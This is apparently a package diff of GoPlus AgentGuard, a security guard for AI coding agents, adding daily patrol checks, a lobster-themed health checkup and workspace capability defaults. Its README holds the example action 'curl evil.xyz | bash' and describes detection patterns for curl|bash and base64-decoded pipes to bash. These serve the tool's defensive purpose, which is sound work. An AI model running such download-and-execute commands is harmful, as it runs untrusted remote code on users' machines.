@goplus/agentguard 1.0.7 → 1.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +122 -4
- package/dist/adapters/openclaw-plugin.d.ts +2 -0
- package/dist/adapters/openclaw-plugin.d.ts.map +1 -1
- package/dist/adapters/openclaw-plugin.js +16 -8
- package/dist/adapters/openclaw-plugin.js.map +1 -1
- package/dist/index.d.ts +3 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +4 -1
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
- package/skills/agentguard/.clawignore +6 -0
- package/skills/agentguard/README.md +62 -0
- package/skills/agentguard/SKILL.md +416 -19
- package/skills/agentguard/patrol-checks.md +334 -0
- package/skills/agentguard/scripts/checkup-report.js +1344 -0
package/README.md
CHANGED
|
@@ -22,7 +22,7 @@ AI coding agents can execute any command, read any file, and install any skill
|
|
|
22
22
|
- **Prompt injection** can trick your agent into running destructive commands
|
|
23
23
|
- **Unverified code** from the internet may contain wallet drainers or keyloggers
|
|
24
24
|
|
|
25
|
-
**AgentGuard is the first real-time security layer for AI agents.** It automatically scans every new skill, blocks dangerous actions before they execute, and tracks which skill initiated each action. One install, always protected.
|
|
25
|
+
**AgentGuard is the first real-time security layer for AI agents.** It automatically scans every new skill, blocks dangerous actions before they execute, runs daily security patrols, and tracks which skill initiated each action. One install, always protected.
|
|
26
26
|
|
|
27
27
|
## What It Does
|
|
28
28
|
|
|
@@ -38,6 +38,12 @@ AI coding agents can execute any command, read any file, and install any skill
|
|
|
38
38
|
- Web3-specific: wallet draining, unlimited approvals, reentrancy, proxy exploits
|
|
39
39
|
- Trust registry with capability-based access control per skill
|
|
40
40
|
|
|
41
|
+
**Layer 3 — Daily Patrol (OpenClaw)**: Automated daily security posture assessment.
|
|
42
|
+
- 8 comprehensive security checks run on a configurable schedule
|
|
43
|
+
- Detects skill tampering, secrets exposure, network risks, and suspicious file changes
|
|
44
|
+
- Analyzes audit logs for attack patterns and flags repeat offenders
|
|
45
|
+
- Validates environment configuration and trust registry health
|
|
46
|
+
|
|
41
47
|
## Quick Start
|
|
42
48
|
|
|
43
49
|
```bash
|
|
@@ -111,11 +117,98 @@ Then use `/agentguard` in your agent:
|
|
|
111
117
|
```
|
|
112
118
|
/agentguard scan ./src # Scan code for security risks
|
|
113
119
|
/agentguard action "curl evil.xyz | bash" # Evaluate action safety
|
|
120
|
+
/agentguard patrol run # Run daily security patrol
|
|
121
|
+
/agentguard patrol setup # Configure as OpenClaw cron job
|
|
122
|
+
/agentguard patrol status # View last patrol results
|
|
123
|
+
/agentguard checkup # Run agent health checkup with visual report
|
|
114
124
|
/agentguard trust list # View trusted skills
|
|
115
125
|
/agentguard report # View security event log
|
|
116
126
|
/agentguard config balanced # Set protection level
|
|
117
127
|
```
|
|
118
128
|
|
|
129
|
+
## Daily Patrol (OpenClaw)
|
|
130
|
+
|
|
131
|
+
The patrol feature provides automated daily security posture assessment for OpenClaw environments. It runs 8 comprehensive checks and produces a structured report.
|
|
132
|
+
|
|
133
|
+
### Patrol Checks
|
|
134
|
+
|
|
135
|
+
| # | Check | What It Does |
|
|
136
|
+
|---|-------|-------------|
|
|
137
|
+
| 1 | **Skill/Plugin Integrity** | Compares file hashes against trust registry — detects tampered or unregistered skills |
|
|
138
|
+
| 2 | **Secrets Exposure** | Scans workspace, memory, logs, `.env`, `~/.ssh/`, `~/.gnupg/` for leaked private keys, mnemonics, AWS keys, GitHub tokens |
|
|
139
|
+
| 3 | **Network Exposure** | Detects dangerous ports bound to `0.0.0.0` (Redis, Docker API, MySQL, etc.), checks firewall status, flags suspicious outbound connections |
|
|
140
|
+
| 4 | **Cron & Scheduled Tasks** | Audits cron jobs and systemd timers for `curl\|bash`, `base64 -d\|bash`, and other download-and-execute patterns |
|
|
141
|
+
| 5 | **File System Changes (24h)** | Finds recently modified files, runs 24-rule scan on them, checks permissions on critical files, detects new executables |
|
|
142
|
+
| 6 | **Audit Log Analysis (24h)** | Flags skills denied 3+ times, CRITICAL events, exfiltration attempts, and prompt injection detections |
|
|
143
|
+
| 7 | **Environment & Configuration** | Verifies protection level, checks GoPlus API key configuration, validates config baseline integrity |
|
|
144
|
+
| 8 | **Trust Registry Health** | Flags expired attestations, stale trusted skills (30+ days), installed-but-untrusted skills, over-privileged entries |
|
|
145
|
+
|
|
146
|
+
### Usage
|
|
147
|
+
|
|
148
|
+
```bash
|
|
149
|
+
# Run all 8 checks now
|
|
150
|
+
/agentguard patrol run
|
|
151
|
+
|
|
152
|
+
# Set up as a daily cron job (default: 03:00 UTC)
|
|
153
|
+
/agentguard patrol setup
|
|
154
|
+
|
|
155
|
+
# Check last patrol results and cron schedule
|
|
156
|
+
/agentguard patrol status
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
### Patrol Report
|
|
160
|
+
|
|
161
|
+
Each patrol produces a report with an overall status:
|
|
162
|
+
|
|
163
|
+
| Status | Meaning |
|
|
164
|
+
|--------|---------|
|
|
165
|
+
| **PASS** | Only low/medium findings |
|
|
166
|
+
| **WARN** | HIGH severity findings detected |
|
|
167
|
+
| **FAIL** | CRITICAL severity findings detected |
|
|
168
|
+
|
|
169
|
+
Reports include per-check status, finding counts, detailed findings for checks with issues, and actionable recommendations. Results are also logged to `~/.agentguard/audit.jsonl`.
|
|
170
|
+
|
|
171
|
+
### Setup Options
|
|
172
|
+
|
|
173
|
+
`patrol setup` configures an OpenClaw cron job with:
|
|
174
|
+
- **Timezone** — defaults to UTC
|
|
175
|
+
- **Schedule** — defaults to `0 3 * * *` (daily at 03:00)
|
|
176
|
+
- **Notifications** — optional Telegram, Discord, or Signal alerts
|
|
177
|
+
|
|
178
|
+
> **Note:** Patrol requires an OpenClaw environment. For non-OpenClaw setups, use `/agentguard scan` and `/agentguard report` for manual security checks.
|
|
179
|
+
|
|
180
|
+
## Agent Health Checkup 🦞
|
|
181
|
+
|
|
182
|
+
Give your agent a full physical exam! The checkup evaluates your agent's security posture across 6 dimensions and generates a beautiful visual HTML report — complete with a lobster mascot whose appearance reflects your agent's health.
|
|
183
|
+
|
|
184
|
+
```
|
|
185
|
+
/agentguard checkup
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
### What It Checks
|
|
189
|
+
|
|
190
|
+
| Dimension | What's Evaluated |
|
|
191
|
+
|-----------|-----------------|
|
|
192
|
+
| **Code Safety** | Scan findings across all installed skills (24 detection rules) |
|
|
193
|
+
| **Trust Hygiene** | Trust registry health — expired, stale, unregistered, over-privileged entries |
|
|
194
|
+
| **Runtime Defense** | Audit log analysis — threats blocked, attack patterns, deny/confirm ratios |
|
|
195
|
+
| **Secret Protection** | Credential exposure — file permissions, env vars, hardcoded secrets |
|
|
196
|
+
| **Web3 Shield** | Web3-specific risks — wallet draining, unlimited approvals, GoPlus API status |
|
|
197
|
+
| **Config Posture** | Protection level, guard hooks, auto-scan, patrol history |
|
|
198
|
+
|
|
199
|
+
### The Lobster Scale
|
|
200
|
+
|
|
201
|
+
Your agent's health is visualized by a lobster mascot:
|
|
202
|
+
|
|
203
|
+
| Score | Tier | Lobster | Message |
|
|
204
|
+
|-------|------|---------|---------|
|
|
205
|
+
| 90–100 | **S** | 💪 Muscular bodybuilder with crown & sunglasses | *"Your agent is JACKED!"* |
|
|
206
|
+
| 70–89 | **A** | 🛡️ Healthy lobster with shield | *"Looking solid!"* |
|
|
207
|
+
| 50–69 | **B** | ☕ Tired lobster with coffee, sweating | *"Needs a workout..."* |
|
|
208
|
+
| 0–49 | **F** | 🚨 Sick lobster with bandages & thermometer | *"CRITICAL CONDITION!"* |
|
|
209
|
+
|
|
210
|
+
The report is a self-contained HTML file that opens automatically in your browser. Dark theme, animated score gauge, expandable findings, and actionable recommendations.
|
|
211
|
+
|
|
119
212
|
## Protection Levels
|
|
120
213
|
|
|
121
214
|
| Level | Behavior |
|
|
@@ -152,7 +245,7 @@ GoPlus AgentGuard follows the [Agent Skills](https://agentskills.io) open standa
|
|
|
152
245
|
| Platform | Support | Features |
|
|
153
246
|
|----------|---------|----------|
|
|
154
247
|
| **Claude Code** | Full | Skill + hooks auto-guard, transcript-based skill tracking |
|
|
155
|
-
| **OpenClaw** | Full | Plugin hooks + **auto-scan on load** + tool→plugin mapping |
|
|
248
|
+
| **OpenClaw** | Full | Plugin hooks + **auto-scan on load** + tool→plugin mapping + **daily patrol** |
|
|
156
249
|
| **OpenAI Codex CLI** | Skill | Scan/action/trust commands |
|
|
157
250
|
| **Gemini CLI** | Skill | Scan/action/trust commands |
|
|
158
251
|
| **Cursor** | Skill | Scan/action/trust commands |
|
|
@@ -160,7 +253,7 @@ GoPlus AgentGuard follows the [Agent Skills](https://agentskills.io) open standa
|
|
|
160
253
|
|
|
161
254
|
> **Hooks-based auto-guard (Layer 1)** works on Claude Code (PreToolUse/PostToolUse) and OpenClaw (before_tool_call/after_tool_call). Both platforms share the same decision engine via a unified adapter abstraction layer.
|
|
162
255
|
>
|
|
163
|
-
> **OpenClaw exclusive**: Auto-scans all loaded plugins at registration time
|
|
256
|
+
> **OpenClaw exclusive**: Auto-scans all loaded plugins at registration time, automatically registers them to the trust registry, and supports automated daily security patrols via cron.
|
|
164
257
|
|
|
165
258
|
## Hook Limitations
|
|
166
259
|
|
|
@@ -183,6 +276,22 @@ The auto-guard hooks (Layer 1) have the following constraints:
|
|
|
183
276
|
- [x] Safe-command allowlist to reduce hook false positives
|
|
184
277
|
- [x] Plugin manifest (`.claude-plugin/`) for one-step install
|
|
185
278
|
|
|
279
|
+
### v1.5 — Daily Patrol
|
|
280
|
+
- [x] `patrol run` — 8-check security posture assessment
|
|
281
|
+
- [x] `patrol setup` — OpenClaw cron job configuration with timezone and notifications
|
|
282
|
+
- [x] `patrol status` — Last results and schedule overview
|
|
283
|
+
- [x] Skill/plugin integrity verification (hash drift detection)
|
|
284
|
+
- [x] Secrets exposure scanning (private keys, mnemonics, AWS keys, GitHub tokens)
|
|
285
|
+
- [x] Network exposure and firewall checks
|
|
286
|
+
- [x] Audit log pattern analysis (repeat denials, exfiltration attempts)
|
|
287
|
+
|
|
288
|
+
### v1.6 — Agent Health Checkup
|
|
289
|
+
- [x] `checkup` — 6-dimension security health assessment
|
|
290
|
+
- [x] Visual HTML report with lobster mascot (4 tiers)
|
|
291
|
+
- [x] Animated score gauge, dimension cards, expandable findings
|
|
292
|
+
- [x] Scoring algorithm: Code Safety, Trust Hygiene, Runtime Defense, Secret Protection, Web3 Shield, Config Posture
|
|
293
|
+
- [x] Premium upgrade CTA integration
|
|
294
|
+
|
|
186
295
|
### v2.0 — Multi-Platform
|
|
187
296
|
- [x] OpenClaw gateway plugin integration
|
|
188
297
|
- [x] `before_tool_call` / `after_tool_call` hook wiring
|
|
@@ -201,7 +310,7 @@ The auto-guard hooks (Layer 1) have the following constraints:
|
|
|
201
310
|
|
|
202
311
|
## OpenClaw Integration
|
|
203
312
|
|
|
204
|
-
AgentGuard provides deep integration with OpenClaw through automatic plugin scanning and
|
|
313
|
+
AgentGuard provides deep integration with OpenClaw through automatic plugin scanning, trust management, and daily security patrols.
|
|
205
314
|
|
|
206
315
|
<details>
|
|
207
316
|
<summary><b>How it works</b></summary>
|
|
@@ -237,6 +346,15 @@ When AgentGuard registers as an OpenClaw plugin:
|
|
|
237
346
|
│ • Check plugin trust level & capabilities │
|
|
238
347
|
│ • Evaluate action against security policies │
|
|
239
348
|
│ • Allow / Deny / Log │
|
|
349
|
+
└─────────────────────────────────────────────────────────────────┘
|
|
350
|
+
│
|
|
351
|
+
▼
|
|
352
|
+
┌─────────────────────────────────────────────────────────────────┐
|
|
353
|
+
│ Daily patrol (via cron): │
|
|
354
|
+
│ • Run 8 security checks against the environment │
|
|
355
|
+
│ • Verify skill integrity, detect secrets, audit logs │
|
|
356
|
+
│ • Generate report (PASS / WARN / FAIL) │
|
|
357
|
+
│ • Send notifications (Telegram / Discord / Signal) │
|
|
240
358
|
└─────────────────────────────────────────────────────────────────┘
|
|
241
359
|
```
|
|
242
360
|
|
|
@@ -46,6 +46,8 @@ export interface OpenClawPluginOptions {
|
|
|
46
46
|
scanner?: SkillScanner;
|
|
47
47
|
/** Custom registry instance */
|
|
48
48
|
registry?: SkillRegistry;
|
|
49
|
+
/** Workspace paths the session is allowed to access (e.g., ['~/.openclaw/workspace/**']) */
|
|
50
|
+
workspacePaths?: string[];
|
|
49
51
|
}
|
|
50
52
|
/**
|
|
51
53
|
* Get plugin ID from tool name
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"openclaw-plugin.d.ts","sourceRoot":"","sources":["../../src/adapters/openclaw-plugin.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AASH,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,YAAY,CAAC;AACrD,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAC;
|
|
1
|
+
{"version":3,"file":"openclaw-plugin.d.ts","sourceRoot":"","sources":["../../src/adapters/openclaw-plugin.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AASH,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,YAAY,CAAC;AACrD,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAC;AA4BrD;;GAEG;AACH,UAAU,iBAAiB;IACzB,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,MAAM,EAAE,MAAM,CAAC;IACf,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,OAAO,EAAE,CAAC,KAAK,EAAE,OAAO,EAAE,GAAG,CAAC,EAAE,OAAO,KAAK,OAAO,CAAC,OAAO,CAAC,GAAG,IAAI,CAAC;IACtF,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,EAAE,OAAO,EAAE,CAAC,KAAK,EAAE,OAAO,EAAE,GAAG,CAAC,EAAE,OAAO,KAAK,OAAO,CAAC,OAAO,CAAC,GAAG,IAAI,CAAC;CACzH;AAkGD;;GAEG;AACH,MAAM,WAAW,qBAAqB;IACpC,oDAAoD;IACpD,KAAK,CAAC,EAAE,MAAM,CAAC;IACf,gEAAgE;IAChE,YAAY,CAAC,EAAE,OAAO,CAAC;IACvB,yCAAyC;IACzC,iBAAiB,CAAC,EAAE,MAAM,kBAAkB,CAAC;IAC7C,8BAA8B;IAC9B,OAAO,CAAC,EAAE,YAAY,CAAC;IACvB,+BAA+B;IAC/B,QAAQ,CAAC,EAAE,aAAa,CAAC;IACzB,4FAA4F;IAC5F,cAAc,CAAC,EAAE,MAAM,EAAE,CAAC;CAC3B;AA6HD;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,GAAG,IAAI,CAEnE;AAED;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,QAAQ,EAAE,MAAM,GAAG;IAAE,SAAS,EAAE,MAAM,CAAC;IAAC,QAAQ,EAAE,MAAM,EAAE,CAAA;CAAE,GAAG,IAAI,CAEtG;AAMD;;GAEG;AACH,wBAAgB,sBAAsB,CACpC,GAAG,EAAE,iBAAiB,EACtB,OAAO,GAAE,qBAA0B,GAClC,IAAI,CAsHN;AAED;;;;GAIG;AACH,MAAM,CAAC,OAAO,UAAU,QAAQ,CAAC,GAAG,EAAE,iBAAiB,GAAG,IAAI,CAE7D"}
|
|
@@ -67,6 +67,8 @@ const engine_js_1 = require("./engine.js");
|
|
|
67
67
|
const common_js_1 = require("./common.js");
|
|
68
68
|
const index_js_1 = require("../scanner/index.js");
|
|
69
69
|
const index_js_2 = require("../registry/index.js");
|
|
70
|
+
const index_js_3 = require("../action/index.js");
|
|
71
|
+
const skill_js_1 = require("../types/skill.js");
|
|
70
72
|
// ---------------------------------------------------------------------------
|
|
71
73
|
// Auto-scan helpers (skill directories)
|
|
72
74
|
// ---------------------------------------------------------------------------
|
|
@@ -263,20 +265,26 @@ function registerOpenClawPlugin(api, options = {}) {
|
|
|
263
265
|
const logger = (msg) => console.log(msg);
|
|
264
266
|
// Lazy-initialize agentguard instance
|
|
265
267
|
let agentguard = null;
|
|
268
|
+
// Build default capabilities from workspacePaths so the core session
|
|
269
|
+
// can access its own workspace files without a manual registry entry.
|
|
270
|
+
const defaultCapabilities = options.workspacePaths
|
|
271
|
+
? { ...skill_js_1.DEFAULT_CAPABILITY, filesystem_allowlist: options.workspacePaths }
|
|
272
|
+
: undefined;
|
|
266
273
|
function getAgentGuard() {
|
|
267
274
|
if (!agentguard) {
|
|
268
275
|
if (options.agentguardFactory) {
|
|
269
276
|
agentguard = options.agentguardFactory();
|
|
270
277
|
}
|
|
271
278
|
else {
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
}
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
279
|
+
// Build inline — avoids require() and passes workspace defaults
|
|
280
|
+
const actionScanner = new index_js_3.ActionScanner({
|
|
281
|
+
registry: trustRegistry,
|
|
282
|
+
...(defaultCapabilities ? { defaultCapabilities } : {}),
|
|
283
|
+
});
|
|
284
|
+
agentguard = {
|
|
285
|
+
registry: trustRegistry,
|
|
286
|
+
actionScanner,
|
|
287
|
+
};
|
|
280
288
|
}
|
|
281
289
|
}
|
|
282
290
|
return agentguard;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"openclaw-plugin.js","sourceRoot":"","sources":["../../src/adapters/openclaw-plugin.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
1
|
+
{"version":3,"file":"openclaw-plugin.js","sourceRoot":"","sources":["../../src/adapters/openclaw-plugin.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAkSH,kDAEC;AAKD,kDAEC;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ACH,CAAC,CAAC,CAAC;IAEH,MAAM,CAAC,4DAA4D,MAAM,CAAC,KAAK,IAAI,UAAU,GAAG,CAAC,CAAC;AACpG,CAAC;AAED;;;;GAIG;AACH,SAAwB,QAAQ,CAAC,GAAsB;IACrD,sBAAsB,CAAC,GAAG,CAAC,CAAC;AAC9B,CAAC"}
|
package/dist/index.d.ts
CHANGED
|
@@ -16,12 +16,15 @@ export { ClaudeCodeAdapter, OpenClawAdapter, evaluateHook, registerOpenClawPlugi
|
|
|
16
16
|
import { SkillScanner } from './scanner/index.js';
|
|
17
17
|
import { SkillRegistry } from './registry/index.js';
|
|
18
18
|
import { ActionScanner } from './action/index.js';
|
|
19
|
+
import type { CapabilityModel } from './types/skill.js';
|
|
19
20
|
/**
|
|
20
21
|
* Create a complete AgentGuard instance with all modules
|
|
21
22
|
*/
|
|
22
23
|
export declare function createAgentGuard(options?: {
|
|
23
24
|
registryPath?: string;
|
|
24
25
|
useExternalScanner?: boolean;
|
|
26
|
+
/** Default capabilities used when no registry record is found for an actor */
|
|
27
|
+
defaultCapabilities?: CapabilityModel;
|
|
25
28
|
}): {
|
|
26
29
|
scanner: SkillScanner;
|
|
27
30
|
registry: SkillRegistry;
|
package/dist/index.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAGH,cAAc,kBAAkB,CAAC;AAGjC,OAAO,EAAE,YAAY,EAAE,KAAK,cAAc,EAAE,MAAM,oBAAoB,CAAC;AACvE,OAAO,EACL,aAAa,EACb,eAAe,EACf,KAAK,eAAe,EACpB,KAAK,cAAc,EACnB,KAAK,YAAY,EACjB,KAAK,YAAY,GAClB,MAAM,qBAAqB,CAAC;AAC7B,OAAO,EACL,aAAa,EACb,YAAY,EACZ,KAAK,oBAAoB,GAC1B,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EACL,gBAAgB,EAChB,sBAA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AS,EACd,KAAK,UAAU,EACf,KAAK,aAAa,GACnB,MAAM,qBAAqB,CAAC;AAG7B,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAClD,OAAO,EAAE,aAAa,EAAE,MAAM,qBAAqB,CAAC;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAClD,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,kBAAkB,CAAC;AAExD;;GAEG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,CAAC,EAAE;IACzC,YAAY,CAAC,EAAE,MAAM,CAAC;IACtB,kBAAkB,CAAC,EAAE,OAAO,CAAC;IAC7B,8EAA8E;IAC9E,mBAAmB,CAAC,EAAE,eAAe,CAAC;CACvC;;;;EAmBA;AAGD,eAAe,gBAAgB,CAAC"}
|
package/dist/index.js
CHANGED
|
@@ -69,7 +69,10 @@ function createAgentGuard(options) {
|
|
|
69
69
|
const scanner = new index_js_5.SkillScanner({
|
|
70
70
|
useExternalScanner: options?.useExternalScanner ?? true,
|
|
71
71
|
});
|
|
72
|
-
const actionScanner = new index_js_7.ActionScanner({
|
|
72
|
+
const actionScanner = new index_js_7.ActionScanner({
|
|
73
|
+
registry,
|
|
74
|
+
defaultCapabilities: options?.defaultCapabilities,
|
|
75
|
+
});
|
|
73
76
|
return {
|
|
74
77
|
scanner,
|
|
75
78
|
registry,
|
package/dist/index.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";AAAA;;;;;;;GAOG;;;;;;;;;;;;;;;;;
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";AAAA;;;;;;;GAOG;;;;;;;;;;;;;;;;;AA6DH,4CAwBC;AAnFD,eAAe;AACf,mDAAiC;AAEjC,iBAAiB;AACjB,+CAAuE;AAA9D,wGAAA,YAAY,OAAA;AACrB,gDAO6B;AAN3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|
|
3
|
+
"version": "1.0.10",
|
|
4
4
|
"description": "GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.",
|
|
5
5
|
"main": "dist/index.js",
|
|
6
6
|
"types": "dist/index.d.ts",
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
# GoPlus AgentGuard
|
|
2
|
+
|
|
3
|
+
AI Agent Security Guard — protect your AI agents from dangerous commands, data leaks, and malicious skills.
|
|
4
|
+
|
|
5
|
+
## Features
|
|
6
|
+
|
|
7
|
+
- **Code Scanning** — 24 detection rules covering shell injection, credential leaks, prompt injection, Web3 exploits, and more
|
|
8
|
+
- **Action Evaluation** — Real-time allow/deny/confirm decisions for runtime actions (network, exec, file, Web3)
|
|
9
|
+
- **Trust Registry** — Manage skill trust levels with capability-based access control
|
|
10
|
+
- **Security Patrol** — Automated daily security checks for OpenClaw environments
|
|
11
|
+
- **Agent Health Checkup** — Full security posture assessment with visual HTML report and shareable lobster mascot
|
|
12
|
+
- **Audit Logging** — Full security event trail with reporting
|
|
13
|
+
|
|
14
|
+
## Usage
|
|
15
|
+
|
|
16
|
+
```
|
|
17
|
+
/agentguard scan <path> — Scan code for security risks
|
|
18
|
+
/agentguard action <description> — Evaluate runtime action safety
|
|
19
|
+
/agentguard patrol [run|setup|status] — Daily security patrol
|
|
20
|
+
/agentguard trust <subcommand> — Manage skill trust levels
|
|
21
|
+
/agentguard report — View security event audit log
|
|
22
|
+
/agentguard config <level> — Set protection level (strict/balanced/permissive)
|
|
23
|
+
/agentguard checkup — Run agent health checkup with visual HTML report
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
## Agent Health Checkup 🦞
|
|
27
|
+
|
|
28
|
+
Run a full security health check on your AI agent and get a visual report in the browser:
|
|
29
|
+
|
|
30
|
+
```
|
|
31
|
+
/agentguard checkup
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
Evaluates 4 dimensions (5 if Web3 usage is detected):
|
|
35
|
+
|
|
36
|
+
| Dimension | What's checked |
|
|
37
|
+
|-----------|---------------|
|
|
38
|
+
| **Skill & Code Safety** | Scan all installed skills with 24 detection rules |
|
|
39
|
+
| **Credential & Secrets** | File permissions on `~/.ssh/`, `~/.gnupg/`, leaked keys and API tokens |
|
|
40
|
+
| **Network & System** | Dangerous open ports, suspicious cron jobs, sensitive env vars |
|
|
41
|
+
| **Runtime Protection** | Security hooks, audit log, whether skills have been scanned |
|
|
42
|
+
| **Web3 Safety** | Wallet-draining patterns, unlimited approvals, GoPlus API config (only if Web3 detected) |
|
|
43
|
+
|
|
44
|
+
Scores are combined into a composite 0–100 health score with a tier:
|
|
45
|
+
|
|
46
|
+
| Score | Tier | Lobster |
|
|
47
|
+
|-------|------|---------|
|
|
48
|
+
| 90–100 | **S** | 💪 Jacked — 5 random muscular variants |
|
|
49
|
+
| 70–89 | **A** | 🛡️ Healthy — 5 random armored variants |
|
|
50
|
+
| 50–69 | **B** | ☕ Tired — 5 random sleepy variants |
|
|
51
|
+
| 0–49 | **F** | 🚨 Critical — 5 random sick variants |
|
|
52
|
+
|
|
53
|
+
The report opens automatically in your browser. It includes a shareable image you can post to X, Telegram, or WhatsApp — with tier-specific copy in Chinese and English.
|
|
54
|
+
|
|
55
|
+
## Requirements
|
|
56
|
+
|
|
57
|
+
- Node.js 18+
|
|
58
|
+
- Optional: GoPlus API credentials for enhanced Web3 transaction simulation
|
|
59
|
+
|
|
60
|
+
## Author
|
|
61
|
+
|
|
62
|
+
Built by [GoPlus Security](https://gopluslabs.io) — the leading Web3 security infrastructure provider.
|